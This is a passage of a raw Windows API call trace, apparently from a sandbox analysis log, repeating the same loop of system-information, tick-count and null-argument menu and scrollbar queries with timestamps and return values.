dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.288] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.289] GetTickCount () returned 0x19f4a [0043.289] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.289] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.289] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.289] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.289] GetTickCount () returned 0x19f4a [0043.289] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.289] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.289] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.289] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.289] GetTickCount () returned 0x19f4a [0043.289] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.289] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.289] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.289] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.289] GetTickCount () returned 0x19f4a [0043.289] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.289] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.289] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.289] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.289] GetTickCount () returned 0x19f4a [0043.289] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.289] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.289] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.290] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.290] GetTickCount () returned 0x19f4a [0043.290] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.290] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.290] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.290] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.290] GetTickCount () returned 0x19f4a [0043.290] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.290] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.290] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.290] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.290] GetTickCount () returned 0x19f4a [0043.290] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.290] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.290] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.290] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.290] GetTickCount () returned 0x19f4a [0043.290] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.290] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.290] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.290] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.290] GetTickCount () returned 0x19f4a [0043.290] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.290] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.290] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.291] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.291] GetTickCount () returned 0x19f4a [0043.291] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.291] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.291] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.291] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.291] GetTickCount () returned 0x19f4a [0043.291] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.291] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.291] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.291] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.291] GetTickCount () returned 0x19f4a [0043.291] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.291] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.291] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.291] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.291] GetTickCount () returned 0x19f4a [0043.291] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.291] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.291] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.291] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.291] GetTickCount () returned 0x19f4a [0043.291] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.291] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.291] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.292] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.292] GetTickCount () returned 0x19f4a [0043.292] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.292] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.292] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.292] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.292] GetTickCount () returned 0x19f4a [0043.292] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.292] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.292] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.292] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.292] GetTickCount () returned 0x19f4a [0043.292] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.292] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.292] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.292] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.292] GetTickCount () returned 0x19f4a [0043.292] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.292] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.292] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.292] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.292] GetTickCount () returned 0x19f4a [0043.292] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.292] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.292] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.293] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.293] GetTickCount () returned 0x19f4a [0043.293] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.293] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.293] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.293] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.293] GetTickCount () returned 0x19f4a [0043.293] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.293] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.293] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.293] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.293] GetTickCount () returned 0x19f4a [0043.293] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.293] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.293] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.293] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.293] GetTickCount () returned 0x19f4a [0043.293] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.293] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.293] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.293] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.293] GetTickCount () returned 0x19f4a [0043.293] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.293] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.294] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.294] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.294] GetTickCount () returned 0x19f4a [0043.294] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.294] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.294] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.294] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.294] GetTickCount () returned 0x19f4a [0043.294] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.294] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.294] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.294] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.295] GetTickCount () returned 0x19f5a [0043.295] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.295] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.295] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.295] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.295] GetTickCount () returned 0x19f5a [0043.295] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.295] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.295] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.295] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.295] GetTickCount () returned 0x19f5a [0043.295] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.295] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.295] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.295] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.295] GetTickCount () returned 0x19f5a [0043.295] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.295] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.295] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.296] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.296] GetTickCount () returned 0x19f5a [0043.296] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.296] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.296] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.296] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.296] GetTickCount () returned 0x19f5a [0043.296] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.296] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.296] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.296] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.296] GetTickCount () returned 0x19f5a [0043.296] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.296] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.296] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.296] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.296] GetTickCount () returned 0x19f5a [0043.296] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.296] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.296] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.296] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.296] GetTickCount () returned 0x19f5a [0043.296] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.296] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.296] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, 